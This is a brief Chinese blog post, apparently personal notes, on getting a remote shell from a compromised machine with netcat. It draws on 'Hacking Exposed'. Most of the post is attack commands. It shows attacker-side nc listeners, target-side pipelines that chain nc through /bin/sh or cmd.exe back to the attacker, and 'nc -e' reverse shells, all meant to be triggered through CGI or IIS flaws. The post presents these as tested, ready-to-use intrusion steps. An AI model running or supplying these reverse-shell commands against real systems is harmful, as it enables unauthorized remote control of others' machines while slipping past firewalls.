在Hacking Exposed上讲了两个办法。经过试验是可行的。
方法一:
使用nc创建一个从目标机器到攻击者自己的机器的反向通道。因为从目标机器发起连接,通常防火墙不会阻挡。
攻击者机器:开两个窗口(or 两个终端)机器类型不限
nc -l -n -v -p 80 (该窗口用来输入命令)
nc -l -n -v -p 25 (该窗口用来得到输出)
目标机器:
通过cgi的毛病或者IIS的毛病来运行该指令
nc 攻击者机器 80 | /bin/sh | nc 攻击者机器 25
nc 攻击者机器 80 | c:\winnt\system32\cmd.exe | nc 攻击者机器 25 (对于windows NT作为目标的情况)
这个时候从nc监听80的那个窗口输入命令,就可以从监听25那个窗口看到结果了。
没解决的问题:
Hacking Exposed上说是完全可以用telnet来运行的。也就是上面在目标机器执行的nc都是可以用telnet来取代,它是假设目标机器没有nc这个工具的。实际上我研究不出来。不灵,只能连接一下,马上就断了。
方法二:
目标机器有nc的情况,不过这个nc要有-e参数。windows下的nc.exe默认就是有-e参数。而UNIX下的默认是没有的。具体原因是要在netcat.c里打开一个已经#define GAPING_SECURITY_HOLE选项。不过什么原因我不懂,就直接把sinbad改好的netcat.c发过来好了。
攻击者机器:
nc -l -n -v -p 80
目标机器:
nc -e /bin/sh 攻击者机器 80 (这个时候该窗口将得到交互式的SHELL)
nc -e c:\winnt\system32\cmd.exe 攻击者机器 80
ok了
阅读(1596) | 评论(0) | 转发(0) |